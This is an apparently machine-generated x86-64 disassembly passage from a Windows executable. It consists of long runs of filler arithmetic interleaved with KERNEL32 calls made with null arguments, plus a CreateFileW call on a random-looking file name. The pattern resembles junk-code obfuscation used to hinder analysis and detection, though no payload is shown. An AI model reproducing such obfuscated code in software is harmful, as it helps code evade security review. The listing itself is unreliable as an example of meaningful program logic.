mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x720], al
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15138]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x45c], al
lea rax, [rsp + 0x3034]
mov qword [rsp + 0x15860], rax
mov rax, qword [rsp + 0x15388]
mov rcx, qword [rsp + 0x14dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14be0]
mov dword [rcx], eax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
mov dword [rsp + 0xb430], eax
movzx eax, word [rsp + 0x311c]
movzx ecx, word [rsp + 0x2ed0]
add eax, ecx
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0x14998]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x154d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dcf], al
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dec], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8694]
sar eax, cl
mov dword [rsp + 0xa4ec], eax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov ecx, dword [0x14028ec70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f2c], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xb434], eax
movzx eax, byte [rsp + 0x75d]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x668], al
lea rax, [rsp + 0x30ec]
mov qword [rsp + 0x15868], rax
lea rdx, [rsp + 0x23510]
mov rcx, qword [rsp + 0x15530]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2a4], eax
mov eax, dword [rsp + 0xb3f0]
mov ecx, dword [rsp + 0x8090]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb414], eax
mov rax, qword [rsp + 0x14a88]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8360], eax
movzx eax, byte [0x140281e2e]
mov byte [0x14028ea58], al
mov rax, qword [rsp + 0x15668]
movzx eax, word [rax]
mov word [rsp + 0x320c], ax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
sub eax, ecx
mov word [rsp + 0x2ff4], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x687]
sub eax, ecx
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0xad14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa688], eax
mov rax, qword [rsp + 0x14ec8]
mov ecx, dword [rsp + 0x65ac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov dword [rsp + 0xb438], eax
mov rax, qword [rsp + 0x14e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8dc], eax
mov eax, dword [rsp + 0xb044]
mov dword [rsp + 0xb43c], eax
movzx eax, word [0x14028290c]
movzx ecx, word [rsp + 0x2f10]
add eax, ecx
mov rcx, qword [rsp + 0x140d8]
mov word [rcx], ax
lea rax, [rsp + 0x3bd]
mov qword [0x14028ea50], rax
mov rax, qword [rsp + 0x14608]
mov rcx, qword [rsp + 0x15168]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9dc], eax
mov rax, qword [0x14028ecc0]
mov rcx, qword [rsp + 0x146f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68a8], eax
mov rax, qword [rsp + 0x14d58]
mov ecx, dword [rsp + 0x706c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa770], eax
mov rax, qword [rsp + 0x14d50]
mov eax, dword [rax]
mov dword [rsp + 0xb440], eax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6f6], al
mov rax, qword [rsp + 0x14a00]
movzx eax, word [rax]
mov word [rsp + 0x3210], ax
mov rax, qword [rsp + 0x15810]
movsx eax, word [rax]
mov rcx, qword [0x14028ed38]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x30dc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb390], eax
movsx eax, byte [rsp + 0x65b]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x766], al
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66f4]
and ecx, eax
mov eax, ecx
mov dword [0x14028ed34], eax
mov rax, qword [rsp + 0x156b8]
mov eax, dword [rax]
mov dword [rsp + 0xb444], eax
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
sub eax, ecx
mov rcx, qword [rsp + 0x15760]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaa18], eax
lea rax, [rsp + 0x638]
mov qword [rsp + 0x15870], rax
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0xb088]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ea0], eax
mov eax, dword [rsp + 0xada4]
mov ecx, dword [rsp + 0x9d54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa46c], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0xa458]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f88], eax
mov eax, dword [rsp + 0x735c]
mov ecx, dword [0x14028272c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a4], eax
movzx eax, byte [rsp + 0x2de]
mov byte [rsp + 0x7be], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0x2bfc]
mov rcx, qword [0x14028eb58]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x14840]
mov ecx, dword [rsp + 0xa4e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x86c4], eax
mov eax, dword [rsp + 0x68a8]
mov ecx, dword [rsp + 0xa43c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15618]
mov dword [rcx], eax
lea rax, [rsp + 0x90bc]
mov qword [rsp + 0x15878], rax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0x7ff4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac6c], eax
mov eax, dword [rsp + 0x9ca4]
mov dword [rsp + 0xb448], eax
movsx eax, word [rsp + 0x3100]
movsx ecx, word [0x14028ebd0]
xor eax, ecx
mov word [rsp + 0x2ee8], ax
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x15880], rax
movzx eax, word [rsp + 0x30ec]
movzx ecx, word [rsp + 0x2e08]
sar eax, cl
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x15120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x790]
or eax, ecx
mov byte [0x140281eee], al
mov rax, qword [rsp + 0x157d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7600]
shl eax, cl
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x71a8], eax
movzx eax, word [rsp + 0x3074]
movzx ecx, word [rsp + 0x2c50]
add eax, ecx
mov word [rsp + 0x3090], ax
lea rax, [rsp + 0x6c6]
mov qword [rsp + 0x15888], rax
mov rax, qword [rsp + 0x14e18]
mov rcx, qword [0x14028eb88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8ac], eax
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xa9ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15738]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa66c]
mov dword [rsp + 0xb44c], eax
lea rcx, [rsp + 0x22758]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15828]
mov rcx, qword [0x14028ecc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65b0], eax
movzx eax, byte [rsp + 0x590]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e1b], al
movzx eax, word [rsp + 0x2c9c]
mov word [rsp + 0x3214], ax
mov eax, dword [0x140282780]
mov ecx, dword [rsp + 0x9d54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0x14f60]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x155a0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b2c]
mov rcx, qword [rsp + 0x142b0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1490], ax
mov rax, qword [rsp + 0x150d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7bf], al
movzx eax, word [rsp + 0x2d04]
movzx ecx, word [rsp + 0x2ae4]
shl eax, cl
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8fbc]
shr eax, cl
mov dword [rsp + 0xae30], eax
mov eax, dword [rsp + 0xa8d4]
mov ecx, dword [rsp + 0x8058]
or ecx, eax
mov eax, ecx
mov dword [0x1402829b8], eax
mov eax, dword [0x140282868]
mov dword [rsp + 0xb450], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xb270]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x89fc], eax
lea rdx, [rsp + 0x23468]
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xabe0], eax
mov rax, qword [rsp + 0x157f8]
mov ecx, dword [rsp + 0xa37c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7a70], eax
movzx eax, word [0x1402828ec]
mov rcx, qword [rsp + 0x148a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d18], ax
lea rax, [rsp + 0x681]
mov qword [rsp + 0x15890], rax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0x763c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov rax, qword [0x14028ec30]
mov ecx, dword [rsp + 0x7ad0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x825c], eax
mov eax, dword [rsp + 0xa20c]
mov dword [rsp + 0xb454], eax
mov rax, qword [0x14028eb88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa70]
add ecx, eax
mov eax, ecx
mov dword [0x1402829bc], eax
mov rax, qword [rsp + 0x15338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de8]
sub eax, ecx
mov word [rsp + 0x2e44], ax
movzx eax, byte [rsp + 0x411]
mov byte [rsp + 0x7c0], al
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [0x1402826b8]
sub eax, ecx
mov word [rsp + 0x3054], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ff], al
mov rax, qword [rsp + 0x14be0]
mov eax, dword [rax]
mov dword [rsp + 0xb458], eax
mov rax, qword [rsp + 0x151e0]
mov rcx, qword [0x14028eb98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6d8], eax
movzx eax, byte [rsp + 0x6c5]
mov rcx, qword [rsp + 0x14868]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2f7], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19ac], ax
mov rax, qword [0x14028eda0]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028eab0], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6cc4]
shl eax, cl
mov dword [rsp + 0xa780], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xb45c], eax
mov rax, qword [rsp + 0x141c0]
mov rcx, qword [rsp + 0x14c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7b28], eax
movzx eax, byte [rsp + 0x6e5]
mov byte [rsp + 0x7c1], al
movzx eax, word [rsp + 0x2cf0]
movzx ecx, word [rsp + 0x307c]
add eax, ecx
mov word [rsp + 0x302c], ax
mov rax, qword [rsp + 0x151e0]
mov rcx, qword [rsp + 0x147a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0x147a0]
mov ecx, dword [rsp + 0xa9ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb314], eax
mov rax, qword [0x14028ece0]
mov rcx, qword [rsp + 0x14b50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x151a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae60]
mov dword [0x14028ea48], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xb460], eax
movsx eax, word [rsp + 0x2708]
movsx ecx, word [rsp + 0x2f24]
add eax, ecx
mov word [rsp + 0x3030], ax
lea rax, [rsp + 0x6cb]
mov qword [rsp + 0x15898], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, byte [rsp + 0x76c]
mov rcx, qword [rsp + 0x150a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6fe], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c00]
sub eax, ecx
mov word [rsp + 0x2d34], ax
mov rax, qword [rsp + 0x15360]
mov eax, dword [rax]
mov dword [rsp + 0xb464], eax
mov eax, dword [rsp + 0xac90]
mov ecx, dword [rsp + 0xadf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ed0], eax
movzx eax, word [0x140282918]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d9c], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cb]
sub eax, ecx
mov byte [0x140281e4e], al
mov eax, dword [rsp + 0xa6cc]
mov ecx, dword [rsp + 0x9824]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86c4], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9298]
shl eax, cl
mov dword [rsp + 0xaac4], eax
lea rax, [rsp + 0xa95c]
mov qword [rsp + 0x158a0], rax
mov eax, dword [0x1402827b8]
movzx ecx, al
mov eax, dword [rsp + 0xae30]
shr eax, cl
mov dword [rsp + 0xa8b0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
mov byte [rsp + 0x7c2], al
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2958], ax
mov rax, qword [rsp + 0x157e8]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa4dc], eax
movzx ecx, word [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov eax, dword [rsp + 0x8d0c]
mov dword [rsp + 0xb468], eax
movsx eax, word [rsp + 0x1598]
movsx ecx, word [rsp + 0x2b34]
and eax, ecx
mov word [0x1402829c0], ax
movsx eax, byte [rsp + 0x64e]
mov rcx, qword [rsp + 0x15880]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x753], al
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1604], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, byte [rsp + 0x6ca]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6d1], al
mov eax, dword [rsp + 0x9454]
mov dword [rsp + 0xb46c], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c18]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14760]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb0bc]
mov dword [rsp + 0xb470], eax
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0xa230]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a0], eax
movzx eax, word [rsp + 0x21fc]
mov word [rsp + 0x3218], ax
movzx eax, byte [0x140281dcb]
movzx ecx, byte [rsp + 0x707]
sub eax, ecx
mov byte [0x140281ecb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x154a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa45c], eax
mov rax, qword [rsp + 0x15548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov eax, dword [rsp + 0xb208]
mov ecx, dword [rsp + 0xa7c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x84d4], eax
mov eax, dword [0x14028ee30]
mov rcx, qword [rsp + 0x155d8]
mov qword [rsp + 0x158a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xacf4], eax
mov rax, qword [rsp + 0x15230]
movzx eax, byte [rax]
mov byte [rsp + 0x7c3], al
lea rcx, [rsp + 0x22788]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x20], 0x3d3f
mov r9d, 0x2b65
mov r8d, 0x3966
mov edx, 0x2a4
mov rcx, qword [rsp + 0x14db0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x15718]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3040]
shl eax, cl
mov word [rsp + 0x2e84], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xae34], eax
mov rax, qword [rsp + 0x15150]
movsx eax, word [rax]
mov rcx, qword [0x14028ed38]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2e54], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xae04], eax
movzx eax, byte [rsp + 0x64a]
mov byte [rsp + 0x7c4], al
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa28]
and ecx, eax
mov eax, ecx
mov dword [0x1402829c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa648], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ff8]
sub eax, ecx
mov word [rsp + 0x2520], ax
mov rax, qword [rsp + 0x15620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c6], al
mov rax, qword [rsp + 0x14c98]
mov rcx, qword [rsp + 0x15488]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e4], eax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov dword [rsp + 0xb474], eax
mov eax, dword [rsp + 0x8f6c]
mov ecx, dword [rsp + 0xa35c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb398], eax
mov rax, qword [rsp + 0x14b78]
mov eax, dword [rax]
mov dword [rsp + 0xb478], eax
mov rax, qword [rsp + 0x15648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov rcx, qword [0x14028eb10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402827d4], ax
mov rax, qword [rsp + 0x14a58]
mov ecx, dword [rsp + 0xa550]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9120], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x152a8]
mov rcx, qword [rsp + 0x14de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb068], eax
mov rax, qword [rsp + 0x14e18]
mov eax, dword [rax]
mov ecx, dword [0x14028298c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov dword [rsp + 0xb47c], eax
mov eax, dword [rsp + 0x6664]
mov rcx, qword [rsp + 0x145d0]
mov qword [rsp + 0x158b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6cc4], eax
mov rax, qword [rsp + 0x15510]
movzx eax, word [rax]
mov word [rsp + 0x321c], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x721], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx eax, byte [rsp + 0x690]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x79c], al
movzx eax, word [rsp + 0x2b40]
mov word [0x14028ea46], ax
mov rax, qword [rsp + 0x15030]
mov ecx, dword [rsp + 0xa468]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x74c4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C3Ur8qGz3xIJjGVZVwrwnpuqrHc6IK22
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x158b8], rax
mov eax, dword [rsp + 0xb3c4]
mov ecx, dword [rsp + 0xb1b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6e8], eax
mov rax, qword [rsp + 0x14fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x7c5], al
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x152b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x15290]
mov rcx, qword [rsp + 0x14cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xae80], eax
mov eax, dword [rsp + 0xb070]
mov dword [rsp + 0xb480], eax
mov rax, qword [rsp + 0x15460]
mov ecx, dword [rsp + 0xac98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x144e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0x6664]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8d84], eax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402828dc], ax
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [0x14028eba3]
sub eax, ecx
mov byte [rsp + 0x2a7], al
mov eax, dword [rsp + 0xa3a8]
mov dword [rsp + 0xb484], eax
mov rax, qword [rsp + 0x14d58]
mov ecx, dword [rsp + 0xa3b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8fc8], eax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [0x140281dce]
add eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2f04]
mov word [rsp + 0x3220], ax
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x30ec], ax
mov rax, qword [rsp + 0x151f8]
movzx eax, byte [rax]
mov byte [rsp + 0x7c6], al
mov rax, qword [rsp + 0x151e8]
mov ecx, dword [rsp + 0x8fbc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x147d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa700]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x158c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158c0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402828bc], eax
mov rax, qword [rsp + 0x14ab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafc8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb110], eax
mov eax, dword [rsp + 0xa33c]
mov ecx, dword [rsp + 0xafd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7848], eax
mov rax, qword [0x14028eb88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa414]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov byte [rsp + 0x7c7], al
movzx eax, word [rsp + 0x2e10]
movzx ecx, word [rsp + 0x31c4]
add eax, ecx
mov word [rsp + 0x1c78], ax
mov rax, qword [0x14028ecc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9e8], eax
mov rax, qword [rsp + 0x15170]
mov eax, dword [rax]
mov dword [rsp + 0xb488], eax
mov rax, qword [rsp + 0x146c8]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d00], eax
mov rax, qword [rsp + 0x157f8]
mov rcx, qword [0x14028eb88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402829c8], eax
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x15750]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7b1], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movsx eax, byte [rsp + 0x78f]
movsx ecx, byte [rsp + 0x748]
sub eax, ecx
mov byte [rsp + 0x65b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa7b4], eax
lea rdx, [rsp + 0x23548]
mov rcx, qword [rsp + 0x15248]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb174], eax
movzx eax, word [rsp + 0x2e78]
mov word [rsp + 0x3224], ax
mov rax, qword [rsp + 0x151c8]
mov ecx, dword [rsp + 0xa8b0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xab48], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xb48c], eax
